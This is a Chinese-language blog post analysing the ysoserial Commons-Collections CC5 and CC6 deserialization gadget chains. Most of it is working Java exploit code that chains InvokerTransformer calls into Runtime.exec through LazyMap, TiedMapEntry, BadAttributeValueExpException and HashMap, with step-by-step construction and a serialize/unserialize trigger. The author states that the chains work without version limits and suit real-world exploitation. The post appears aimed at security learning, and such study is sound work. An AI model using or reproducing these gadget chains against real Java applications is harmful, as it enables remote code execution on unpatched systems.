前言

这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload:

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val;
}

前面到LazyMap这一段我们已经非常熟悉了,恶意的Transform放到了LazyMap中,只要有其他地方调用LazyMap的get()方法即可触发恶意Transform。

通过IDEA的Find Usages功能,可以看到有上千个地方有对lazymap调用,而YsoSerial CC5选择了TiedMapEntry。

TiedMapEntry

为什么CC5 选择使用TiedMapEntry呢,看一下TiedMapEntry的源码,其中getValue()有对map调用get()方法,那getValue()就能触发代码执行,捎带的本类中还有equalshashCodetoString 有调用getValue,也就是说在TiedMapEntry 能触发代码执行的有 equalshashCodetoStringgetValue这四个方法,其中toString和equals 某些场景下能够被隐式调用。

利用链挖掘

将恶意类绑定到TiedMapEntry后,因为可以触发的方法变多了,同时特别是toString和equel方法更加通用所以,只要找到一个类满足以下条件,那RCE就能完成了:

  1. 该类有继承可以被序列化标志的Serializable接口,或者其父类有继承Serializable
  2. 该类的readObject方法中有调用可控变量的toStringequelhashCodegetValue

满足这两个条件其实有很多,对应的分别有

  • 调用toString的BadAttributeValueExpException 对应CC5

  • 调用hashcode的HashMap,对应CC6

一、BadAttributeValueExpException(CC5)

先来分析下CC5的BadAttributeValueExpException,打开源码定位readObject,非常明显,有对序列化变量val的toString()操作。

看一下这个val长啥样:

val是一个Object类型的私有化变量,那思路就很清晰,只要把我们构造的TiedMapEntry 通过反射赋值给val即可。

实操

第一步 构造恶意的LazyMap

		//  第一步 构造恶意lazyMap
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

第二步 构造恶意的TiedMapEntry

		// 第二步 构造恶意的 TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");

第三步 构造利用类 BadAttributeValueExpException

这里有个细节,虽然能够直接通过构造方法赋值给val,但在构造方法中有对入参做toString操作,那得到的val就是String而不是map了,所以只能通过反射的方式去赋值给val

        // 第三步 构造 BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);

第四步 反序列化验证

       // 第四步 反序列化验证
String path = ExpUtils.serialize(badAttributeValueExpException);
ExpUtils.unserialize(path);

执行一下,命令成功执行:

HashMap

上面以BadAttributeValueExpException作为利用,下面看一下HashMap#readObject的源码,HashMap中有对反序列化的key值做hash操作:

跟进一下hash(),调用了key的hashCode()方法,结合我们对TiedMapEntry的分析,这里只要将key赋值为TiedMapEntry,在反序列化时即可完成RCE。

实操

第一步 构造恶意TiedMapEntry

这里有一点和前面不一样,传递给chainedTransformer的是一个 new ConstantTransformer(1) 相当于空操作的fakeTransformer,这是为了避免后面在hashmap在put时会执行代码。

		//  第一步 构造恶意 tiedMapEntry
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransformer = new Transformer[]{
new ConstantTransformer(1)
}; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");

第二步 绑定到hashmap上

 Map mapStringHashMap = new HashMap<>();
mapStringHashMap.put(tiedMapEntry,"outerKey");

第三步 移除第一个hashmap的entryKey

这里可以想一下为什么要这么操作。

因为HashMap不光在readobject时会执行hash操作,在put的时候也会计算hash,这样put的时候第一个hashmap就已经生成entryKey的key了,而在反序列化的时候系统判断存在就不会再执行transform方法,也就不会触发代码执行。

其实这里为什么在已经传递给tiedMapEntry后还能修改第一个hashmap并生效也说明了,Java中传递给TiedMapEntry只是一个引用,可以在外面进行修改。

 evilMap.remove("entryKey");

第四步 把恶意的transfomer通过反射重新赋值给chainedTransformer并反序列化验证

 		ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
String path = ExpUtils.serialize(mapStringHashMap);
ExpUtils.unserialize(path);

执行结果:

总结

本篇文章在前文LazyMap的基础上进一步通过TiedMapEntry封装,从而带来了CC5与CC6的反序列化利用链,值得说明的是,CC5、CC6目前没有版本限制,执行非常通用,我在最近的JDK1.8.261下都能成功运行,是在实战中比较好利用的链。

YsoSerial 工具常用Payload分析之CC5、6(三)的更多相关文章

  1. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  2. YsoSerial 工具常用Payload分析之CC1

    前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...

  3. YsoSerial 工具常用Payload分析之Common-Collections7(四)

    前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...

  4. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  5. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  6. Java应用常用性能分析工具

    Java应用常用性能分析工具 好的工具有能有效改善和提高工作效率或加速分析问题的进度,笔者将从事Java工作中常用的性能工具和大家分享下,如果感觉有用记得投一票哦,如果你有好的工具也可以分享给我 工具 ...

  7. Fiddler抓取https请求 & Fiddler抓包工具常用功能详解

    Fiddler抓取https请求 & Fiddler抓包工具常用功能详解   先来看一个小故事: 小T在测试APP时,打开某个页面展示异常,于是就跑到客户端开发小A那里说:“你这个页面做的有问 ...

  8. SoapUI、Jmeter、Postman三种接口测试工具的比较分析

    前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...

  9. SoapUI、Jmeter、Postman三种接口测试工具的比较分析——灰蓝

    前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...

随机推荐

  1. B-Tree插入和删除的Java实现

    B-Tree插入和删除的Java实现 一.一颗非空m阶B-Tree的性质 除根结点以外的每个结点的孩子引用最多存在m个,关键码最多存在m - 1个:除根结点以外的每个结点的孩子引用至少存在⌈m / 2 ...

  2. Spring Cloud03: Eureka Client 服务提供者

    一.创建一个子工程并引入配置如下: <dependency> <groupId>org.springframework.cloud</groupId> <ar ...

  3. 【NX二次开发】Block UI 面收集器

    属性说明 属性   类型   描述   常规           BlockID    String    控件ID    Enable    Logical    是否可操作    Group    ...

  4. 利用 Bean Validation 来简化接口请求参数校验

    团队新来了个校招实习生静静,相互交流后发现竟然是我母校同实验室的小学妹,小学妹很热情地认下了我这个失散多年的大湿哥,后来... 小学妹:大湿哥,咱们项目里的 Controller 怎么都看不到参数校验 ...

  5. 合宙Luat直播间即将开启,你揭开行业奥秘,让你快人一步。

    嗨~刚陪你们过儿童节 和你们一起成长的合宙Luat 又有新计划 -- 合宙Luat官方直播即将开启 - 敬请关注 - - 官方直播什么内容 - 可能是合宙研发动态 可能是新品发布资讯 可能是行业大咖分 ...

  6. 上手 Raspberry Pi Pico

    什么是 PICO Raspberry Pi Pico 是树莓派推出的一块基于 Arm Cortex-M0+ 内核的 MCU 的开发板,使用的 MCU 是树莓派自己研发的 Arm Cortex-M0+ ...

  7. 20201123 实验一《Python程序设计》实验报告

    20201123 2020-2021-2 <Python程序设计>实验一报告 课程:<Python程序设计> 班级:2011班 姓名:晏鹏捷 学号:20201123 实验教师: ...

  8. ClickHouse学习系列之六【访问权限和账户管理】

    背景 在之前写的文章[用户权限管理]里已经介绍了应该如何设置用户密码以及权限控制.但是只是针对修改配置文件的方式来进行用户权限管理,其实ClickHouse也支持基于RBAC(Role-Based A ...

  9. kubelet分析-pvc扩容源码分析

    kubernetes ceph-csi分析目录导航 存储的扩容分为controller端操作与node端操作两大步骤,controller端操作由external-resizer来调用ceph完成,而 ...

  10. Sai学习笔记

    颜色模块的功能介绍 色轮 RGB滑块 HSV滑块(常用) H:色相 S:纯度 V:明度 中间色条,主要用来混色 颜料盒 调色板 选择工具的使用 选择框 快捷键:Ctrl+D 套索 魔棒 图文工具使用 ...